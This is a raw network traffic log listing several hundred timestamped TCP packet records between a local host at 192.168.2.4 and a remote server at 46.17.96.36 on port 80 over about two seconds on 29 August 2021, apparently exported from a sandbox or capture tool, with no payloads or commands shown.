Aug 29, 2021 22:28:07.231960058 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.231987000 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.232011080 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.232036114 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.232511997 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.232702971 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.268055916 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.268184900 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.327734947 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.327994108 CEST	49931	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.329345942 CEST	49932	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.360699892 CEST	80	49931	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.360790968 CEST	49931	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.361457109 CEST	80	49932	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.361577988 CEST	49932	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.362848043 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.362915993 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.363717079 CEST	49932	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.395891905 CEST	80	49932	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.433898926 CEST	80	49932	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.433980942 CEST	49932	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.516252041 CEST	49932	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.518661976 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.549885988 CEST	80	49932	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.549989939 CEST	49932	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.552313089 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.552428007 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.572616100 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.572700977 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.572865963 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.572997093 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.594326973 CEST	49934	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.605905056 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.605937004 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.606255054 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.606281042 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.606307030 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.606334925 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.606398106 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.606417894 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.606967926 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.607006073 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.607032061 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.607067108 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.607247114 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.607336998 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.629678011 CEST	80	49934	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.629813910 CEST	49934	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.639413118 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.639444113 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.639461994 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.639525890 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.639542103 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.639581919 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.639616013 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.639707088 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.639789104 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.639854908 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.639919996 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.640127897 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.640152931 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.640192986 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.640233040 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.640234947 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.640259981 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.640417099 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.640506029 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.640609026 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.640635014 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.640723944 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.640770912 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.653723001 CEST	49934	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.673950911 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.673986912 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.674004078 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.674020052 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.674036980 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.674053907 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.674078941 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.674103975 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.674115896 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.674143076 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.674171925 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.674197912 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.674222946 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.674247980 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.674252987 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.674271107 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.674295902 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.674319983 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.674355030 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.674384117 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.689114094 CEST	80	49934	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.707650900 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.707686901 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.708031893 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.708050013 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.708439112 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.744636059 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.744735956 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.750045061 CEST	80	49934	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.750195980 CEST	49934	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.922888994 CEST	49934	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.923295975 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.933012009 CEST	49935	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.956403971 CEST	80	49933	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.956507921 CEST	49933	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.959054947 CEST	80	49934	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.959155083 CEST	49934	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.965550900 CEST	80	49935	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.965739012 CEST	49935	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.131700039 CEST	49935	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.164587975 CEST	80	49935	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.182005882 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.206363916 CEST	80	49935	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.206538916 CEST	49935	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.215069056 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.215198994 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.215981960 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.216072083 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.216259003 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.216417074 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.248292923 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.248321056 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.248332024 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.248342037 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.248357058 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.248367071 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.248502016 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.248565912 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.248683929 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.248753071 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.248800039 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.248868942 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.281846046 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.281908035 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.281924963 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.281939030 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.281949997 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.282012939 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.282047987 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.282186985 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.282203913 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.282277107 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.282351971 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.315825939 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.315870047 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.315884113 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.315929890 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.315996885 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.316066027 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.316082954 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.316119909 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.316181898 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.316670895 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.316797018 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.316814899 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.347856998 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.347971916 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.347989082 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.348119020 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.387507915 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.387727022 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.388495922 CEST	49935	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.389514923 CEST	49937	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.421348095 CEST	80	49935	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.421504974 CEST	49935	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.424500942 CEST	80	49937	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.424715996 CEST	49937	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.439291000 CEST	49937	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.476157904 CEST	80	49937	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.514889956 CEST	80	49937	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.515022039 CEST	49937	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.671042919 CEST	49937	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.671308041 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.672319889 CEST	49938	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.675388098 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.703140974 CEST	80	49936	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.703233004 CEST	49936	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.706248999 CEST	80	49937	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.706366062 CEST	49937	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.708010912 CEST	80	49938	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.708131075 CEST	49938	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.711452007 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.711541891 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.745563030 CEST	49938	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.746604919 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.746686935 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.746871948 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.747014046 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.780782938 CEST	80	49938	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.781703949 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.781735897 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.781959057 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.782030106 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.782047033 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.782083035 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.782233953 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.782293081 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.782387018 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.782422066 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.782453060 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.782474995 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.782572031 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.782619953 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.817434072 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.817478895 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.817504883 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.817528963 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.817544937 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.817559004 CEST	80	49938	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.817589998 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.817615032 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.817673922 CEST	49938	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.817688942 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.817761898 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.817928076 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.817951918 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.818028927 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.818033934 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.818057060 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.818089008 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.853846073 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.853907108 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.853935003 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.853975058 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.854052067 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.854067087 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.854098082 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.854121923 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.854140997 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.854147911 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.854173899 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.854207993 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.854237080 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.854430914 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.854459047 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.854844093 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.854891062 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.854916096 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.854939938 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.854975939 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.890048981 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.890099049 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.890242100 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.890279055 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.890307903 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.890331984 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.890357018 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.925587893 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.925693989 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.939891100 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.940284967 CEST	49938	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.941468000 CEST	49940	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.975255013 CEST	80	49939	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.975303888 CEST	80	49938	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.975373983 CEST	49939	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.975441933 CEST	49938	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.976495981 CEST	80	49940	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:08.976618052 CEST	49940	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:08.980227947 CEST	49940	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.015265942 CEST	80	49940	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.054538012 CEST	80	49940	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.054655075 CEST	49940	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.278702021 CEST	49940	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.279748917 CEST	49941	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.283015966 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.312263966 CEST	80	49941	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.312377930 CEST	49941	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.313833952 CEST	80	49940	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.313927889 CEST	49940	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.318428040 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.318516016 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.345271111 CEST	49941	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.345724106 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.345828056 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.345993996 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.346146107 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.378165960 CEST	80	49941	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.380920887 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.381114960 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.381330967 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.381356955 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.381381989 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.381448030 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.381498098 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.381520987 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.381603003 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.381680965 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.381730080 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.381792068 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.415612936 CEST	80	49941	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.415709019 CEST	49941	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.416853905 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.416965008 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.416989088 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.417042971 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.417114973 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.417182922 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.417262077 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.417288065 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.417327881 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.417370081 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.417413950 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.417439938 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.417464018 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.417481899 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.417517900 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.417545080 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.417665958 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.417695045 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.417747974 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.417769909 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.452385902 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.452436924 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.452539921 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.452547073 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.452578068 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.452604055 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.452620983 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.452645063 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.452680111 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.452706099 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.452749014 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.452773094 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.452896118 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.453120947 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.453146935 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.453263998 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.453309059 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.453460932 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.453665018 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.453700066 CEST	80	49942	46.17.96.36	192.168.2.4
